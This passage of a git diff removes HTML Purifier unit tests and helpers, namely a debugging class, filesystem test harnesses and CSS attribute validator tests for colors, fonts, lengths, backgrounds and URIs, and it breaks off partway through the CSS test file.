$paints = 0; - public $current_scopes = array(); - public $scope_nextID = 1; - public $add_pre = true; - - public function Debugger() { - $this->add_pre = !extension_loaded('xdebug'); - } - - public static function &instance() { - static $soleInstance = false; - if (!$soleInstance) $soleInstance = new Debugger(); - return $soleInstance; - } - - public function paintIf($mixed, $conditional) { - if (!$conditional) return; - $this->paint($mixed); - } - - public function paintWhen($mixed, $scopes = array()) { - if (!$this->isInScopes($scopes)) return; - $this->paint($mixed); - } - - public function paintIfWhen($mixed, $conditional, $scopes = array()) { - if (!$conditional) return; - if (!$this->isInScopes($scopes)) return; - $this->paint($mixed); - } - - public function paint($mixed) { - $this->paints++; - if($this->add_pre) echo '
    ';
    -        var_dump($mixed);
    -        if($this->add_pre) echo '
    '; - } - - public function addScope($id = false) { - if ($id == false) { - $id = $this->scope_nextID++; - } - $this->current_scopes[$id] = true; - } - - public function removeScope($id) { - if (isset($this->current_scopes[$id])) unset($this->current_scopes[$id]); - } - - public function resetScopes() { - $this->current_scopes = array(); - $this->scope_nextID = 1; - } - - public function isInScopes($scopes = array()) { - if (empty($this->current_scopes)) { - return false; - } - if (!is_array($scopes)) { - $scopes = array($scopes); - } - foreach ($scopes as $scope_id) { - if (empty($this->current_scopes[$scope_id])) { - return false; - } - } - if (empty($scopes)) { - if ($this->scope_nextID == 1) { - return false; - } - for($i = 1; $i < $this->scope_nextID; $i++) { - if (empty($this->current_scopes[$i])) { - return false; - } - } - } - return true; - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/FSTools/FileSystemHarness.php b/classes/security/htmlpurifier/tests/FSTools/FileSystemHarness.php deleted file mode 100644 index 710196e4f..000000000 --- a/classes/security/htmlpurifier/tests/FSTools/FileSystemHarness.php +++ /dev/null @@ -1,36 +0,0 @@ -dir = 'tmp/' . md5(uniqid(rand(), true)) . '/'; - mkdir($this->dir); - $this->oldDir = getcwd(); - - } - - function __destruct() { - FSTools::singleton()->rmdirr($this->dir); - } - - function setup() { - chdir($this->dir); - } - - function tearDown() { - chdir($this->oldDir); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/FSTools/FileTest.php b/classes/security/htmlpurifier/tests/FSTools/FileTest.php deleted file mode 100644 index e9b703a2d..000000000 --- a/classes/security/htmlpurifier/tests/FSTools/FileTest.php +++ /dev/null @@ -1,46 +0,0 @@ -assertFalse($file->exists()); - $file->write('foobar'); - $this->assertTrue($file->exists()); - $this->assertEqual($file->get(), 'foobar'); - $file->delete(); - $this->assertFalse($file->exists()); - } - - function testGetNonExistent() { - $name = 'notfound.txt'; - $file = new FSTools_File($name); - $this->expectError(); - $this->assertFalse($file->get()); - } - - function testHandle() { - $file = new FSTools_File('foo.txt'); - $this->assertFalse($file->exists()); - $file->open('w'); - $this->assertTrue($file->exists()); - $file->put('Foobar'); - $file->close(); - $file->open('r'); - $this->assertIdentical('F', $file->getChar()); - $this->assertFalse($file->eof()); - $this->assertIdentical('oo', $file->read(2)); - $this->assertIdentical('bar', $file->getLine()); - $this->assertTrue($file->eof()); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php deleted file mode 100644 index 227bc9535..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php +++ /dev/null @@ -1,134 +0,0 @@ -attr_collections = array( - 'Core' => array( - 0 => array('Soup', 'Undefined'), - 'attribute' => 'Type', - 'attribute-2' => 'Type2', - ), - 'Soup' => array( - 'attribute-3' => 'Type3-old' // overwritten - ) - ); - - $modules['Module2'] = new HTMLPurifier_HTMLModule(); - $modules['Module2']->attr_collections = array( - 'Core' => array( - 0 => array('Brocolli') - ), - 'Soup' => array( - 'attribute-3' => 'Type3' - ), - 'Brocolli' => array() - ); - - $collections->__construct($types, $modules); - // this is without identifier expansion or inclusions - $this->assertIdentical( - $collections->info, - array( - 'Core' => array( - 0 => array('Soup', 'Undefined', 'Brocolli'), - 'attribute' => 'Type', - 'attribute-2' => 'Type2' - ), - 'Soup' => array( - 'attribute-3' => 'Type3' - ), - 'Brocolli' => array() - ) - ); - - } - - function test_performInclusions() { - - generate_mock_once('HTMLPurifier_AttrTypes'); - - $types = new HTMLPurifier_AttrTypesMock(); - $collections = new HTMLPurifier_AttrCollections($types, array()); - $collections->info = array( - 'Core' => array(0 => array('Inclusion', 'Undefined'), 'attr-original' => 'Type'), - 'Inclusion' => array(0 => array('SubInclusion'), 'attr' => 'Type'), - 'SubInclusion' => array('attr2' => 'Type') - ); - - $collections->performInclusions($collections->info['Core']); - $this->assertIdentical( - $collections->info['Core'], - array( - 'attr-original' => 'Type', - 'attr' => 'Type', - 'attr2' => 'Type' - ) - ); - - // test recursive - $collections->info = array( - 'One' => array(0 => array('Two'), 'one' => 'Type'), - 'Two' => array(0 => array('One'), 'two' => 'Type') - ); - $collections->performInclusions($collections->info['One']); - $this->assertIdentical( - $collections->info['One'], - array( - 'one' => 'Type', - 'two' => 'Type' - ) - ); - - } - - function test_expandIdentifiers() { - - generate_mock_once('HTMLPurifier_AttrTypes'); - - $types = new HTMLPurifier_AttrTypesMock(); - $collections = new HTMLPurifier_AttrCollections($types, array()); - - $attr = array( - 'attr1' => 'Color', - 'attr2*' => 'URI' - ); - $c_object = new HTMLPurifier_AttrDef_HTML_Color(); - $u_object = new HTMLPurifier_AttrDef_URI(); - - $types->setReturnValue('get', $c_object, array('Color')); - $types->setReturnValue('get', $u_object, array('URI')); - - $collections->expandIdentifiers($attr, $types); - - $u_object->required = true; - $this->assertIdentical( - $attr, - array( - 'attr1' => $c_object, - 'attr2' => $u_object - ) - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php deleted file mode 100644 index 56efa306f..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php +++ /dev/null @@ -1,28 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_AlphaValue(); - - $this->assertDef('0'); - $this->assertDef('1'); - $this->assertDef('.2'); - - // clamping to [0.0, 1,0] - $this->assertDef('1.2', '1'); - $this->assertDef('-3', '0'); - - $this->assertDef('0.0', '0'); - $this->assertDef('1.0', '1'); - $this->assertDef('000', '0'); - - $this->assertDef('asdf', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php deleted file mode 100644 index a216b2677..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php +++ /dev/null @@ -1,68 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_BackgroundPosition(); - - // explicitly cited in spec - $this->assertDef('0% 0%'); - $this->assertDef('100% 100%'); - $this->assertDef('14% 84%'); - $this->assertDef('2cm 1cm'); - $this->assertDef('top'); - $this->assertDef('left'); - $this->assertDef('center'); - $this->assertDef('right'); - $this->assertDef('bottom'); - $this->assertDef('left top'); - $this->assertDef('center top'); - $this->assertDef('right top'); - $this->assertDef('left center'); - $this->assertDef('right center'); - $this->assertDef('left bottom'); - $this->assertDef('center bottom'); - $this->assertDef('right bottom'); - - // reordered due to internal impl details - $this->assertDef('top left', 'left top'); - $this->assertDef('top center', 'top'); - $this->assertDef('top right', 'right top'); - $this->assertDef('center left', 'left'); - $this->assertDef('center center', 'center'); - $this->assertDef('center right', 'right'); - $this->assertDef('bottom left', 'left bottom'); - $this->assertDef('bottom center', 'bottom'); - $this->assertDef('bottom right', 'right bottom'); - - // more cases from the defined syntax - $this->assertDef('1.32in 4ex'); - $this->assertDef('-14% -84.65%'); - $this->assertDef('-1in -4ex'); - $this->assertDef('-1pc 2.3%'); - - // keyword mixing - $this->assertDef('3em top'); - $this->assertDef('left 50%'); - - // fixable keyword mixing - $this->assertDef('top 3em', '3em top'); - $this->assertDef('50% left', 'left 50%'); - - // whitespace collapsing - $this->assertDef('3em top', '3em top'); - $this->assertDef("left\n \t foo ", 'left'); - - // invalid uses (we're going to be strict on these) - $this->assertDef('foo bar', false); - $this->assertDef('left left', 'left'); - $this->assertDef('left right top bottom center left', 'left bottom'); - $this->assertDef('0fr 9%', '9%'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php deleted file mode 100644 index 83461c365..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php +++ /dev/null @@ -1,23 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Background($config); - - $valid = '#333 url("chess.png") repeat fixed 50% top'; - $this->assertDef($valid); - $this->assertDef('url(\'chess.png\') #333 50% top repeat fixed', $valid); - $this->assertDef( - 'rgb(34, 56, 33) url(chess.png) repeat fixed top', - 'rgb(34,56,33) url("chess.png") repeat fixed top' - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php deleted file mode 100644 index 6cd77fd7a..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php +++ /dev/null @@ -1,21 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Border($config); - - $this->assertDef('thick solid red', 'thick solid #FF0000'); - $this->assertDef('thick solid'); - $this->assertDef('solid red', 'solid #FF0000'); - $this->assertDef('1px solid #000'); - $this->assertDef('1px solid rgb(0, 0, 0)', '1px solid rgb(0,0,0)'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php deleted file mode 100644 index f3a74e897..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php +++ /dev/null @@ -1,41 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Color(); - - $this->assertDef('#F00'); - $this->assertDef('#fff'); - $this->assertDef('#eeeeee'); - $this->assertDef('#808080'); - $this->assertDef('rgb(255, 0, 0)', 'rgb(255,0,0)'); // rm spaces - $this->assertDef('rgb(100%,0%,0%)'); - $this->assertDef('rgb(50.5%,23.2%,43.9%)'); // decimals okay - - $this->assertDef('#G00', false); - $this->assertDef('cmyk(40, 23, 43, 23)', false); - $this->assertDef('rgb(0%, 23, 68%)', false); - - // clip numbers outside sRGB gamut - $this->assertDef('rgb(200%, -10%, 0%)', 'rgb(100%,0%,0%)'); - $this->assertDef('rgb(256,-23,34)', 'rgb(255,0,34)'); - - // color keywords, of course - $this->assertDef('red', '#FF0000'); - - // malformed hex declaration - $this->assertDef('808080', '#808080'); - $this->assertDef('000000', '#000000'); - $this->assertDef('fed', '#fed'); - - // maybe hex transformations would be another nice feature - // at the very least transform rgb percent to rgb integer - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php deleted file mode 100644 index 44bef5551..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php +++ /dev/null @@ -1,81 +0,0 @@ -defs =& $defs; - } - -} - -class HTMLPurifier_AttrDef_CSS_CompositeTest extends HTMLPurifier_AttrDefHarness -{ - - protected $def1, $def2; - - function test() { - - generate_mock_once('HTMLPurifier_AttrDef'); - - $config = HTMLPurifier_Config::createDefault(); - $context = new HTMLPurifier_Context(); - - // first test: value properly validates on first definition - // so second def is never called - - $def1 = new HTMLPurifier_AttrDefMock(); - $def2 = new HTMLPurifier_AttrDefMock(); - $defs = array(&$def1, &$def2); - $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); - $input = 'FOOBAR'; - $output = 'foobar'; - $def1_params = array($input, $config, $context); - $def1->expectOnce('validate', $def1_params); - $def1->setReturnValue('validate', $output, $def1_params); - $def2->expectNever('validate'); - - $result = $def->validate($input, $config, $context); - $this->assertIdentical($output, $result); - - // second test, first def fails, second def works - - $def1 = new HTMLPurifier_AttrDefMock(); - $def2 = new HTMLPurifier_AttrDefMock(); - $defs = array(&$def1, &$def2); - $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); - $input = 'BOOMA'; - $output = 'booma'; - $def_params = array($input, $config, $context); - $def1->expectOnce('validate', $def_params); - $def1->setReturnValue('validate', false, $def_params); - $def2->expectOnce('validate', $def_params); - $def2->setReturnValue('validate', $output, $def_params); - - $result = $def->validate($input, $config, $context); - $this->assertIdentical($output, $result); - - // third test, all fail, so composite faiils - - $def1 = new HTMLPurifier_AttrDefMock(); - $def2 = new HTMLPurifier_AttrDefMock(); - $defs = array(&$def1, &$def2); - $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); - $input = 'BOOMA'; - $output = false; - $def_params = array($input, $config, $context); - $def1->expectOnce('validate', $def_params); - $def1->setReturnValue('validate', false, $def_params); - $def2->expectOnce('validate', $def_params); - $def2->setReturnValue('validate', false, $def_params); - - $result = $def->validate($input, $config, $context); - $this->assertIdentical($output, $result); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php deleted file mode 100644 index 7795643f1..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php +++ /dev/null @@ -1,29 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Filter(); - - $this->assertDef('none'); - - $this->assertDef('alpha(opacity=0)'); - $this->assertDef('alpha(opacity=100)'); - $this->assertDef('alpha(opacity=50)'); - $this->assertDef('alpha(opacity=342)', 'alpha(opacity=100)'); - $this->assertDef('alpha(opacity=-23)', 'alpha(opacity=0)'); - - $this->assertDef('alpha ( opacity = 0 )', 'alpha(opacity=0)'); - $this->assertDef('alpha(opacity=0,opacity=100)', 'alpha(opacity=0)'); - - $this->assertDef('progid:DXImageTransform.Microsoft.Alpha(opacity=20)'); - - $this->assertDef('progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php deleted file mode 100644 index fda8e01ff..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php +++ /dev/null @@ -1,52 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_FontFamily(); - - $this->assertDef('Gill, Helvetica, sans-serif'); - $this->assertDef("'Times New Roman', serif"); - $this->assertDef("\"Times New Roman\"", "'Times New Roman'"); - $this->assertDef('01234'); - $this->assertDef(',', false); - $this->assertDef('Times New Roman, serif', "'Times New Roman', serif"); - $this->assertDef($d = "'\xE5\xAE\x8B\xE4\xBD\x93'"); - $this->assertDef("\xE5\xAE\x8B\xE4\xBD\x93", $d); - $this->assertDef("'\\01'", "''"); - $this->assertDef("'\\20'", "' '"); - $this->assertDef("\\0020", "' '"); - $this->assertDef("'\\000045'", "E"); - $this->assertDef("','", false); - $this->assertDef("',' foobar','", "' foobar'"); - $this->assertDef("'\\000045a'", "Ea"); - $this->assertDef("'\\00045 a'", "Ea"); - $this->assertDef("'\\00045 a'", "'E a'"); - $this->assertDef("'\\\nf'", "f"); - // No longer supported, except maybe in NoJS mode (see source - // file for more explanation) - //$this->assertDef($d = '"John\'s Font"'); - //$this->assertDef("John's Font", $d); - //$this->assertDef("'\\','f'", "\"\\5C \", f"); - //$this->assertDef("'\\27'", "\"'\""); - //$this->assertDef('"\\22"', "\"\\22 \""); - //$this->assertDef('"\\""', "\"\\22 \""); - //$this->assertDef('"\'"', "\"'\""); - } - - function testAllowed() { - $this->config->set('CSS.AllowedFonts', array('serif', 'Times New Roman')); - - $this->assertDef('serif'); - $this->assertDef('sans-serif', false); - $this->assertDef('serif, sans-serif', 'serif'); - $this->assertDef('Times New Roman', "'Times New Roman'"); - $this->assertDef("'Times New Roman'"); - $this->assertDef('foo', false); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php deleted file mode 100644 index 91870d13e..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php +++ /dev/null @@ -1,34 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Font($config); - - // hodgepodge of usage cases from W3C spec, but " -> ' - $this->assertDef('12px/14px sans-serif'); - $this->assertDef('80% sans-serif'); - $this->assertDef("x-large/110% 'New Century Schoolbook', serif"); - $this->assertDef('bold italic large Palatino, serif'); - $this->assertDef('normal small-caps 120%/120% fantasy'); - $this->assertDef("300 italic 1.3em/1.7em 'FB Armada', sans-serif"); - $this->assertDef('600 9px Charcoal'); - $this->assertDef('600 9px/ 12px Charcoal', '600 9px/12px Charcoal'); - - // spacing - $this->assertDef('12px / 14px sans-serif', '12px/14px sans-serif'); - - // system fonts - $this->assertDef('menu'); - - $this->assertDef('800', false); - $this->assertDef('600 9px//12px Charcoal', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php deleted file mode 100644 index c7fa8a0fa..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php +++ /dev/null @@ -1,49 +0,0 @@ -mock = new HTMLPurifier_AttrDefMock(); - $this->def = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($this->mock, true); - } - - protected function setMock($input, $output = null) { - if ($output === null) $output = $input; - $this->mock->expectOnce('validate', array($input, $this->config, $this->context)); - $this->mock->setReturnValue('validate', $output); - } - - function testImportant() { - $this->setMock('23'); - $this->assertDef('23 !important'); - } - - function testImportantInternalDefChanged() { - $this->setMock('23', '24'); - $this->assertDef('23 !important', '24 !important'); - } - - function testImportantWithSpace() { - $this->setMock('23'); - $this->assertDef('23 ! important ', '23 !important'); - } - - function testFakeImportant() { - $this->setMock('! foo important'); - $this->assertDef('! foo important'); - } - - function testStrip() { - $this->def = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($this->mock, false); - $this->setMock('23'); - $this->assertDef('23 ! important ', '23'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php deleted file mode 100644 index 9d9fc41f2..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php +++ /dev/null @@ -1,48 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Length(); - - $this->assertDef('0'); - $this->assertDef('0px'); - $this->assertDef('4.5px'); - $this->assertDef('-4.5px'); - $this->assertDef('3ex'); - $this->assertDef('3em'); - $this->assertDef('3in'); - $this->assertDef('3cm'); - $this->assertDef('3mm'); - $this->assertDef('3pt'); - $this->assertDef('3pc'); - - $this->assertDef('3PX', '3px'); - - $this->assertDef('3', false); - $this->assertDef('3miles', false); - - } - - function testNonNegative() { - - $this->def = new HTMLPurifier_AttrDef_CSS_Length('0'); - - $this->assertDef('3cm'); - $this->assertDef('-3mm', false); - - } - - function testBounding() { - $this->def = new HTMLPurifier_AttrDef_CSS_Length('-1in', '1in'); - $this->assertDef('1cm'); - $this->assertDef('-1cm'); - $this->assertDef('0'); - $this->assertDef('1em', false); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php deleted file mode 100644 index 070066705..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php +++ /dev/null @@ -1,35 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_ListStyle($config); - - $this->assertDef('lower-alpha'); - $this->assertDef('upper-roman inside'); - $this->assertDef('circle outside'); - $this->assertDef('inside'); - $this->assertDef('none'); - $this->assertDef('url("foo.gif")'); - $this->assertDef('circle url("foo.gif") inside'); - - // invalid values - $this->assertDef('outside inside', 'outside'); - - // ordering - $this->assertDef('url(foo.gif) none', 'none url("foo.gif")'); - $this->assertDef('circle lower-alpha', 'circle'); - // the spec is ambiguous about what happens in these - // cases, so we're going off the W3C CSS validator - $this->assertDef('disc none', 'disc'); - $this->assertDef('none disc', 'none'); - - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php deleted file mode 100644 index 4461cb508..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php +++ /dev/null @@ -1,28 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Multiple( - new HTMLPurifier_AttrDef_Integer() - ); - - $this->assertDef('1 2 3 4'); - $this->assertDef('6'); - $this->assertDef('4 5'); - $this->assertDef(' 2 54 2 3', '2 54 2 3'); - $this->assertDef("6\r3", '6 3'); - - $this->assertDef('asdf', false); - $this->assertDef('a s d f', false); - $this->assertDef('1 2 3 4 5', '1 2 3 4'); - $this->assertDef('1 2 invalid 3', '1 2 3'); - - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php deleted file mode 100644 index 94e6ea8cf..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php +++ /dev/null @@ -1,51 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Number(); - - $this->assertDef('0'); - $this->assertDef('0.0', '0'); - $this->assertDef('1.0', '1'); - $this->assertDef('34'); - $this->assertDef('4.5'); - $this->assertDef('.5'); - $this->assertDef('0.5', '.5'); - $this->assertDef('-56.9'); - - $this->assertDef('0.', '0'); - $this->assertDef('.0', '0'); - $this->assertDef('0.0', '0'); - - $this->assertDef('1.', '1'); - $this->assertDef('.1', '.1'); - - $this->assertDef('1.0', '1'); - $this->assertDef('0.1', '.1'); - - $this->assertDef('000', '0'); - $this->assertDef(' 9', '9'); - $this->assertDef('+5.0000', '5'); - $this->assertDef('02.20', '2.2'); - $this->assertDef('2.', '2'); - - $this->assertDef('.', false); - $this->assertDef('asdf', false); - $this->assertDef('0.5.6', false); - - } - - function testNonNegative() { - - $this->def = new HTMLPurifier_AttrDef_CSS_Number(true); - $this->assertDef('23'); - $this->assertDef('-12', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php deleted file mode 100644 index f712af1d2..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php +++ /dev/null @@ -1,24 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Percentage(); - - $this->assertDef('10%'); - $this->assertDef('1.607%'); - $this->assertDef('-567%'); - - $this->assertDef(' 100% ', '100%'); - - $this->assertDef('5', false); - $this->assertDef('asdf', false); - $this->assertDef('%', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php deleted file mode 100644 index dd714d206..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php +++ /dev/null @@ -1,27 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_TextDecoration(); - - $this->assertDef('none'); - $this->assertDef('none underline', 'underline'); - - $this->assertDef('underline'); - $this->assertDef('overline'); - $this->assertDef('line-through overline underline'); - $this->assertDef('overline line-through'); - $this->assertDef('UNDERLINE', 'underline'); - $this->assertDef(' underline line-through ', 'underline line-through'); - - $this->assertDef('foobar underline', 'underline'); - $this->assertDef('blink', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php deleted file mode 100644 index 3d6f5791e..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php +++ /dev/null @@ -1,29 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_URI(); - - $this->assertDef('', false); - - // we could be nice but we won't be - $this->assertDef('http://www.example.com/', false); - - $this->assertDef('url(', false); - $this->assertDef('url("")', true); - $result = 'url("http://www.example.com/")'; - $this->assertDef('url(http://www.example.com/)', $result); - $this->assertDef('url("http://www.example.com/")', $result); - $this->assertDef("url('http://www.example.com/')", $result); - $this->assertDef( - ' url( "http://www.example.com/" ) ', $result); - $this->assertDef("url(http://www.example.com/foo,bar\)\'\()", - 'url("http://www.example.com/foo,bar%29%27%28")'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php deleted file mode 100644 index 56917aece..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php +++ /dev/null @@ -1,164 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS(); - } - - function test() { - - // regular cases, singular - $this->assertDef('text-align:right;'); - $this->assertDef('border-left-style:solid;'); - $this->assertDef('border-style:solid dotted;'); - $this->assertDef('clear:right;'); - $this->assertDef('float:left;'); - $this->assertDef('font-style:italic;'); - $this->assertDef('font-variant:small-caps;'); - $this->assertDef('font-weight:bold;'); - $this->assertDef('list-style-position:outside;'); - $this->assertDef('list-style-type:upper-roman;'); - $this->assertDef('list-style:upper-roman inside;'); - $this->assertDef('text-transform:capitalize;'); - $this->assertDef('background-color:rgb(0,0,255);'); - $this->assertDef('background-color:transparent;'); - $this->assertDef('background:#333 url("chess.png") repeat fixed 50% top;'); - $this->assertDef('color:#F00;'); - $this->assertDef('border-top-color:#F00;'); - $this->assertDef('border-color:#F00 #FF0;'); - $this->assertDef('border-top-width:thin;'); - $this->assertDef('border-top-width:12px;'); - $this->assertDef('border-width:5px 1px 4px 2px;'); - $this->assertDef('border-top-width:-12px;', false); - $this->assertDef('letter-spacing:normal;'); - $this->assertDef('letter-spacing:2px;'); - $this->assertDef('word-spacing:normal;'); - $this->assertDef('word-spacing:3em;'); - $this->assertDef('font-size:200%;'); - $this->assertDef('font-size:larger;'); - $this->assertDef('font-size:12pt;'); - $this->assertDef('line-height:2;'); - $this->assertDef('line-height:2em;'); - $this->assertDef('line-height:20%;'); - $this->assertDef('line-height:normal;'); - $this->assertDef('line-height:-20%;', false); - $this->assertDef('margin-left:5px;'); - $this->assertDef('margin-right:20%;'); - $this->assertDef('margin-top:auto;'); - $this->assertDef('margin:auto 5%;'); - $this->assertDef('padding-bottom:5px;'); - $this->assertDef('padding-top:20%;'); - $this->assertDef('padding:20% 10%;'); - $this->assertDef('padding-top:-20%;', false); - $this->assertDef('text-indent:3em;'); - $this->assertDef('text-indent:5%;'); - $this->assertDef('text-indent:-3em;'); - $this->assertDef('width:50%;'); - $this->assertDef('width:50px;'); - $this->assertDef('width:auto;'); - $this->assertDef('width:-50px;', false); - $this->assertDef('text-decoration:underline;'); - $this->assertDef('font-family:sans-serif;'); - $this->assertDef("font-family:Gill, 'Times New Roman', sans-serif;"); - $this->assertDef('font:12px serif;'); - $this->assertDef('border:1px solid #000;'); - $this->assertDef('border-bottom:2em double #FF00FA;'); - $this->assertDef('border-collapse:collapse;'); - $this->assertDef('border-collapse:separate;'); - $this->assertDef('caption-side:top;'); - $this->assertDef('vertical-align:middle;'); - $this->assertDef('vertical-align:12px;'); - $this->assertDef('vertical-align:50%;'); - $this->assertDef('table-layout:fixed;'); - $this->assertDef('list-style-image:url("nice.jpg");'); - $this->assertDef('list-style:disc url("nice.jpg") inside;'); - $this->assertDef('background-image:url("foo.jpg");'); - $this->assertDef('background-image:none;'); - $this->assertDef('background-repeat:repeat-y;'); - $this->assertDef('background-attachment:fixed;'); - $this->assertDef('background-position:left 90%;'); - $this->assertDef('border-spacing:1em;'); - $this->assertDef('border-spacing:1em 2em;'); - - // duplicates - $this->assertDef('text-align:right;text-align:left;', - 'text-align:left;'); - - // a few composites - 